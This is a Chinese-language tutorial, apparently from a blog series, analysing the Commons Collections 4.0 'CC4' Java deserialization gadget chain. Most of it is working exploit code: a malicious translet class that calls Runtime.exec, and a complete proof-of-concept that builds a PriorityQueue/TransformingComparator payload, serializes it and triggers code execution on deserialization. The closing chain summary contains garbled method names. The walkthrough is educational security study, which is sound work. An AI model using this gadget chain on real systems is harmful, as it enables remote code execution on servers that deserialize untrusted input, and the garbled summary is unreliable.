前言
因为 CommonsCollections4 除 4.0 的其他版本去掉了 InvokerTransformer 继承 Serializable，导致该方法无法序列化。
同时 CommonsCollections 4的版本 TransformingComparator 继承了 Serializable接口，而CommonsCollections 3里是没有的，所以命令执行点还是一致的
可以在transform()的上一步中用TransformingComparator来代替
1.环境安装
CommonsCollections = 4.0
在pom.xml中加入4.0版本的依赖并加载
<dependencies>
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
</dependencies>
2.分析
我们继续在transform()处find usage，找到了TransformingComparator#compare()
这是我们常见的方法，我们继续往前找，在PriorityQueue#siftDownUsingComparator()方法找到了compare()的调用
这段代码是一个泛型方法，用于执行堆数据结构中的下沉操作，通常是堆排序算法和优先队列的一部分
我们继续查看调用情况，我们找到了同类中的heapify方法进行了调用
并且我们发现了PriorityQueue类的readObject方法
所以目前的路线已经清楚了
PriorityQueue#readObject —> PriorityQueue#heapify() —> PriorityQueue#siftDownUsingComparator() —>TransformingComparator.compare()
再加上我们在CC3中分析的就组成了一条利用链
Commons-Collections篇-CC3链
InstantiateTransformer.transform() —>TemplatesImpl.newTransformer() —> defineClass()->newInstance()
3.解决报错
首先编译一个恶意类用来执行命令
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Calc extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e){
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.map.TransformedMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;
public class CC4 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class ca = templates.getClass();
Field name = ca.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"admin");
Field byteField = ca.getDeclaredField("_bytecodes");
byteField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("D:\\bianyi\\pycharm\\IDEA\\Projects\\untitled1\\target\\classes\\org\\example\\Calc.class"));
byte[][] codes = {evil};
byteField.set(templates,codes);
Field tfactory = ca.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
// templates.newTransformer();
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},
new Object[]{templates});
// instantiateTransformer.transform(TrAXFilter.class);
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
//序列化
serializable(priorityQueue);
unserializable();
}
private static Object unserializable() throws Exception, IOException, ClassNotFoundException{
FileInputStream fis = new FileInputStream("obj");
ObjectInputStream ois = new ObjectInputStream(fis);
Object o = ois.readObject();
return o;
}
private static void serializable(Object o) throws IOException, ClassNotFoundException{
FileOutputStream fos = new FileOutputStream("obj");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(o);
os.close();
}
}
直接执行却没有触发计算器
我们进行调试发现在下图的步骤中跳出，并没有继续执行下去
首先要执行for循环，i>=0。i的取值又取决于表达式 i = (n >>> 1) - 1，这是一个赋值操作，其中 n >>> 1 是将 n 无符号右移一位的结果，然后从这个结果中减去 1 来得到 i 的值，所以n>=2的时候，咱们的i就符合条件了。
而n的值是Size 就是 PriorityQueue 这个队列的长度，所以咱们尝试往队列中添加两个值
priorityQueue.add(1);
priorityQueue.add(2);
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.map.TransformedMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;
public class CC4 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class ca = templates.getClass();
Field name = ca.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"admin");
Field byteField = ca.getDeclaredField("_bytecodes");
byteField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("D:\\bianyi\\pycharm\\IDEA\\Projects\\untitled1\\target\\classes\\org\\example\\Calc.class"));
byte[][] codes = {evil};
byteField.set(templates,codes);
Field tfactory = ca.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
// templates.newTransformer();
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},
new Object[]{templates});
// instantiateTransformer.transform(TrAXFilter.class);
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);
//序列化
// serializable(priorityQueue);
//
// unserializable();
}
private static Object unserializable() throws Exception, IOException, ClassNotFoundException{
FileInputStream fis = new FileInputStream("obj");
ObjectInputStream ois = new ObjectInputStream(fis);
Object o = ois.readObject();
return o;
}
private static void serializable(Object o) throws IOException, ClassNotFoundException{
FileOutputStream fos = new FileOutputStream("obj");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(o);
os.close();
}
}
我们直接运行，发现在没有序列化之前就已经运行出计算器，同时还出现了报错
我们打下断点进行调试分析原因，发现在进行添加第二个数值的时候触发了compare()
所以我们可以按照之前几次分析的思路，先进行一次无效的赋值，让他正常运行，但不进行操作，在最后重新通过反射赋值回来
Class c = transformingComparator.getClass();
Field trans = c.getDeclaredField("transformer");
trans.setAccessible(true);
trans.set(transformingComparator,chainedTransformer);
分析出计算器的弹出之后，同时在这次的代码中最后可以舍弃_tfactory的赋值，因为之前在CC3中我们的分析，刚开始进行了templates.newTransformer()操作，并没有进行反序列化，我们需要自己提前对他进行赋值，才能运行成功。
在刚开始的反序列化中，jvm会对涉及的类如果有readObject的时候会默认构建，在TemplatesImpl类中，readObject有一个赋值操作，所以我们不用再进行相关操作了
4.编写POC
我们对上面的进行总结，编写POC
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.map.TransformedMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;
public class CC4 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class ca = templates.getClass();
Field name = ca.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"admin");
Field byteField = ca.getDeclaredField("_bytecodes");
byteField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("D:\\bianyi\\pycharm\\IDEA\\Projects\\untitled1\\target\\classes\\org\\example\\Calc.class"));
byte[][] codes = {evil};
byteField.set(templates,codes);
// Field tfactory = ca.getDeclaredField("_tfactory");
// tfactory.setAccessible(true);
// tfactory.set(templates,new TransformerFactoryImpl());
// templates.newTransformer();
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},
new Object[]{templates});
// instantiateTransformer.transform(TrAXFilter.class);
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);
Class c = transformingComparator.getClass();
Field trans = c.getDeclaredField("transformer");
trans.setAccessible(true);
trans.set(transformingComparator,chainedTransformer);
//序列化
serializable(priorityQueue);
//
// unserializable();
}
private static Object unserializable() throws Exception, IOException, ClassNotFoundException{
FileInputStream fis = new FileInputStream("obj");
ObjectInputStream ois = new ObjectInputStream(fis);
Object o = ois.readObject();
return o;
}
private static void serializable(Object o) throws IOException, ClassNotFoundException{
FileOutputStream fos = new FileOutputStream("obj");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(o);
os.close();
}
}
我们运行反序列化POC，成功弹出
package org.example;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
public class Main {
public static void main(String[] args) throws Exception {
//命令执行代码
unserializable();
}
private static Object unserializable() throws Exception, IOException, ClassNotFoundException{
FileInputStream fis = new FileInputStream("obj");
ObjectInputStream ois = new ObjectInputStream(fis);
Object o = ois.readObject();
return o;
}
}
所以这次的链还是比较简单的，整体路线为：
PriorityQueue.readObject()
PririPriorityQueuety.heapify()
PririPriorityQueuety.siftDown()
PririPriorityQueuety.siftDownUsingComparator()
Comparator.compare()
instantiateTransformer.compare()
instantiateTransformer.transform()
TrAXFilter.TrAXFilter()
TemplatesImpl.newTransformer()
definclass -> newInstance()
本系列历史文章
反序列化之路-URLDNS
Commons-Collections篇-CC1链小白基础分析学习
CC1链补充-LazyMap
Commons-Collections篇-CC6链分析
Commons-Collections篇-CC3链
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